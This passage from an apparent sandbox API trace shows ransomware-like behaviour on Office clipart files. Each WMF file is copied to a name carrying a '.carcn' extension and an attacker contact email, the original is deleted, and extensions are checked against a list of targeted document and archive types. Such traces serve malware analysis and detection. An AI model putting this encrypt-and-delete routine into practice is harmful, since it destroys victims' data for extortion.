lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x150a, lpOverlapped=0x0) returned 1 [0305.072] WriteFile (in: hFile=0x398, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1510, lpOverlapped=0x0) returned 1 [0305.073] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.073] WriteFile (in: hFile=0x398, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.073] SetEndOfFile (hFile=0x398) returned 1 [0305.075] CloseHandle (hObject=0x398) returned 1 [0305.075] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.075] SetEndOfFile (hFile=0x34c) returned 1 [0305.076] CloseHandle (hObject=0x34c) returned 1 [0305.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0305.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0305.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0305.077] lstrlenW (lpString=".doc") returned 4 [0305.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.077] lstrlenW (lpString=".docx") returned 5 [0305.077] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0305.077] lstrlenW (lpString=".pdf") returned 4 [0305.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.077] lstrlenW (lpString=".xls") returned 4 [0305.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.077] lstrlenW (lpString=".xlsx") returned 5 [0305.077] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0305.077] lstrlenW (lpString=".ppt") returned 4 [0305.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0305.078] lstrlenW (lpString=".zip") returned 4 [0305.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.078] lstrlenW (lpString=".rar") returned 4 [0305.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.078] lstrlenW (lpString=".bz2") returned 4 [0305.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.078] lstrlenW (lpString=".7z") returned 3 [0305.078] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0305.078] lstrlenW (lpString=".dbf") returned 4 [0305.078] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0305.078] lstrlenW (lpString=".1cd") returned 4 [0305.078] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0305.078] lstrlenW (lpString=".jpg") returned 4 [0305.078] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.078] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.079] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.079] GetLastError () returned 0x0 [0305.079] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xe16, lpOverlapped=0x0) returned 1 [0305.089] WriteFile (in: hFile=0x398, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xe20, lpOverlapped=0x0) returned 1 [0305.090] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.090] WriteFile (in: hFile=0x398, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.090] SetEndOfFile (hFile=0x398) returned 1 [0305.091] CloseHandle (hObject=0x398) returned 1 [0305.091] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.091] SetEndOfFile (hFile=0x34c) returned 1 [0305.092] CloseHandle (hObject=0x34c) returned 1 [0305.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0305.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0305.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0305.093] lstrlenW (lpString=".doc") returned 4 [0305.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.093] lstrlenW (lpString=".docx") returned 5 [0305.093] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0305.093] lstrlenW (lpString=".pdf") returned 4 [0305.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.093] lstrlenW (lpString=".xls") returned 4 [0305.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.093] lstrlenW (lpString=".xlsx") returned 5 [0305.093] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0305.093] lstrlenW (lpString=".ppt") returned 4 [0305.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0305.093] lstrlenW (lpString=".zip") returned 4 [0305.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.093] lstrlenW (lpString=".rar") returned 4 [0305.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.093] lstrlenW (lpString=".bz2") returned 4 [0305.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.094] lstrlenW (lpString=".7z") returned 3 [0305.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0305.094] lstrlenW (lpString=".dbf") returned 4 [0305.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0305.094] lstrlenW (lpString=".1cd") returned 4 [0305.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0305.094] lstrlenW (lpString=".jpg") returned 4 [0305.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.097] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.097] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.100] GetLastError () returned 0x0 [0305.100] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xd42, lpOverlapped=0x0) returned 1 [0305.110] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xd50, lpOverlapped=0x0) returned 1 [0305.111] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.111] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.111] SetEndOfFile (hFile=0x37c) returned 1 [0305.111] CloseHandle (hObject=0x37c) returned 1 [0305.111] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.111] SetEndOfFile (hFile=0x340) returned 1 [0305.112] CloseHandle (hObject=0x340) returned 1 [0305.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0305.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0305.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0305.113] lstrlenW (lpString=".doc") returned 4 [0305.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.113] lstrlenW (lpString=".docx") returned 5 [0305.113] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0305.113] lstrlenW (lpString=".pdf") returned 4 [0305.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.113] lstrlenW (lpString=".xls") returned 4 [0305.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.113] lstrlenW (lpString=".xlsx") returned 5 [0305.113] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0305.113] lstrlenW (lpString=".ppt") returned 4 [0305.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0305.114] lstrlenW (lpString=".zip") returned 4 [0305.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.114] lstrlenW (lpString=".rar") returned 4 [0305.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.114] lstrlenW (lpString=".bz2") returned 4 [0305.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.114] lstrlenW (lpString=".7z") returned 3 [0305.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0305.114] lstrlenW (lpString=".dbf") returned 4 [0305.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0305.114] lstrlenW (lpString=".1cd") returned 4 [0305.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0305.114] lstrlenW (lpString=".jpg") returned 4 [0305.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.114] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.115] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.115] GetLastError () returned 0x0 [0305.115] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xf00, lpOverlapped=0x0) returned 1 [0305.125] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xf10, lpOverlapped=0x0) returned 1 [0305.126] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.126] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.127] SetEndOfFile (hFile=0x37c) returned 1 [0305.127] CloseHandle (hObject=0x37c) returned 1 [0305.127] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.127] SetEndOfFile (hFile=0x340) returned 1 [0305.128] CloseHandle (hObject=0x340) returned 1 [0305.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0305.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0305.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0305.129] lstrlenW (lpString=".doc") returned 4 [0305.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.129] lstrlenW (lpString=".docx") returned 5 [0305.129] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0305.129] lstrlenW (lpString=".pdf") returned 4 [0305.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.129] lstrlenW (lpString=".xls") returned 4 [0305.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.129] lstrlenW (lpString=".xlsx") returned 5 [0305.129] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0305.129] lstrlenW (lpString=".ppt") returned 4 [0305.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0305.129] lstrlenW (lpString=".zip") returned 4 [0305.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.130] lstrlenW (lpString=".rar") returned 4 [0305.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.130] lstrlenW (lpString=".bz2") returned 4 [0305.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.130] lstrlenW (lpString=".7z") returned 3 [0305.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0305.130] lstrlenW (lpString=".dbf") returned 4 [0305.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0305.130] lstrlenW (lpString=".1cd") returned 4 [0305.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0305.130] lstrlenW (lpString=".jpg") returned 4 [0305.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.130] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.130] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.131] GetLastError () returned 0x0 [0305.131] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1016, lpOverlapped=0x0) returned 1 [0305.400] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1020, lpOverlapped=0x0) returned 1 [0305.401] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.401] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.401] SetEndOfFile (hFile=0x37c) returned 1 [0305.402] CloseHandle (hObject=0x37c) returned 1 [0305.402] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.402] SetEndOfFile (hFile=0x340) returned 1 [0305.403] CloseHandle (hObject=0x340) returned 1 [0305.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0305.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0305.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0305.404] lstrlenW (lpString=".doc") returned 4 [0305.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.404] lstrlenW (lpString=".docx") returned 5 [0305.404] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0305.404] lstrlenW (lpString=".pdf") returned 4 [0305.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.404] lstrlenW (lpString=".xls") returned 4 [0305.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.404] lstrlenW (lpString=".xlsx") returned 5 [0305.404] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0305.404] lstrlenW (lpString=".ppt") returned 4 [0305.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0305.404] lstrlenW (lpString=".zip") returned 4 [0305.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.404] lstrlenW (lpString=".rar") returned 4 [0305.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.404] lstrlenW (lpString=".bz2") returned 4 [0305.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.404] lstrlenW (lpString=".7z") returned 3 [0305.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0305.405] lstrlenW (lpString=".dbf") returned 4 [0305.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0305.405] lstrlenW (lpString=".1cd") returned 4 [0305.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0305.405] lstrlenW (lpString=".jpg") returned 4 [0305.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.405] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.405] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0305.406] GetLastError () returned 0x0 [0305.406] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x45be, lpOverlapped=0x0) returned 1 [0305.408] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x45c0, lpOverlapped=0x0) returned 1 [0305.409] ReadFile (in: hFile=0x340, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.409] WriteFile (in: hFile=0x37c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.410] SetEndOfFile (hFile=0x37c) returned 1 [0305.410] CloseHandle (hObject=0x37c) returned 1 [0305.410] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.410] SetEndOfFile (hFile=0x340) returned 1 [0305.411] CloseHandle (hObject=0x340) returned 1 [0305.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0305.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0305.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 